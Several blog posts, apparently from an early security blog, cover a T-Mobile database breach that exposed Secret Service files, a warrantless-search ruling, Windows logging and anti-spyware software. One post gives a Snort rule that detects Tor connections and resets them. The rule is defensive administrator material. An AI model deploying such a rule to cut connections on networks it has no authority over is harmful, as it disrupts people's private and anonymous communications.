I've written about the TOR anonymizing TCP proxy before, and in general I think it's quite a useful tool. There are a lot of situations where you might legitimately want to obfuscate your true online identity and/or prevent your ISP from keeping track of what you access over the Internet. TOR is really good for these sorts of things, and is a cool project, to boot.

There are some situations, though, in which using TOR (or any other similar service) is not appropriate. One such situation is when your Acceptable Use Policy forbids it, as is probably the case for many people using their employer's LAN. If you're a network administrator and you need to monitor TOR usage, you can try the following Snort rule I cooked up:

alert tcp any any -> $HOME_NET any (msg: "TOR 1.0 Proxy Connection Attempt"; content: "TOR"; content: "<identity>"; within:30; classtype:policy-violation; resp:rst_all; sid:5000030; rev:1;)

This should alert you any time the TOR proxy attempts to create a connection to the rest of the TOR network. As written, this rule also makes use of Snort's "flexible response" feature to try to shut down the connections as they are established. This isn't entirely effective, but it seems to work about 80% of the time for me, which at least makes TOR really annoying to use. If you prefer not to take action, delete the part that says "resp:rst_all;".

More on the T-Mobile/Secret Service connection

This story sheds a little more light on how the T-Mobile hacker was able to access Secret Service documents. It seems that one of their agents made a habit of forwarding files to his T-Mobile email device so he could access them while traveling.

The article downplays the problem and makes it sound like it wasn't a big deal. The handheld contained "very limited investigative material" and "no government investigations were compromised." However, the article also quotes court records as stating that the files contained "highly sensitive information pertaining to ongoing ... criminal cases." This is apparent contradiction seems to indicate that someone in the USSS is either willfully over- or under-stating the case.

The agent in question, by the way, says he was cleared of any wrongdoing in an internal USSS investigation. He has since voluntarily resigned to work in the private sector.

T-Mobile pwn3d & Shame on the US Secret Service

The Register has a shocking story about a major security breach at T-Mobile. Apparently they learned in July 2004 that an intruder had wormed his way into their customer database and had easy access to a wide variety of information, including names, addresses, dates of birth, social security numbers, web usernames and passwords, email and cameraphone snapshots.

Ok, so shame on T-Mobile for keeping this quiet so long, but the more shocking part is that the US Secret Service fell vicitim to this. Here's a paragraph from the article:


On 28 July the informant gave [the Secret Service] proof that their own sensitive documents were circulating in the underground marketplace they were striving to destroy. He had obtained a log of an IRC chat session in which a hacker named "Myth" copy-and-pasted excerpts of an internal Secret Service memorandum report, and a Mutual Legal Assistance Treaty from the Russian Federation. Both documents are described in the Secret Service affidavit as "highly sensitive information pertaining to ongoing USSS criminal cases".


What the heck is the Secret Service doing sending "sensitive documents" over T-Mobile, anyway? Shouldn't a law enforcement agency so heavily involved in computer crime investigation know better than this?

How to make Windows event logs less chatty

If you haven't seen it already, head over to the Windows Security Logging and Other Esoterica blog. It's pretty new, and so far has addressed several things I've always hated, wondered about or both. The most recent post is about how to tune your event logs so you don't get swamped with crap you don't care about.

Searching PCs without a warrant

A Washington state appeals court issued a ruling today that allows the owner of a computer system to give law enforcement officers permission to search or sieze a PC. This means your employer can, in most cases, grant this permission without your consent. See the news.com.com.com.com.com.com story here.

Overall, this is probably a good thing for us as investigators and security professionals. I am no lawyer, but I'd still cover my butt with a suitable disclaimer at login time if I were you. And who knows, warning your users upfront that you're able to monitor them may just prevent them from doing some regrettable in the first place.

Screenshots of the new MS Anti-Spyware App

Neowin.net has published some screenshots of Microsoft's new anti-spyware application. This is based on the software they aquired when they bought Giant recently. I'm not familiar with the predecessor product, but the new screenshots look promising. Can't wait until it's released and some reviews start rolling in. How will it compare to Ad-Aware or Spybot?

While I'm on the subject... who's got a better name for this sort of thing than "anti-spyware"? That sounds so clunky, and doesn't roll of the tongue quite like "anti-virus".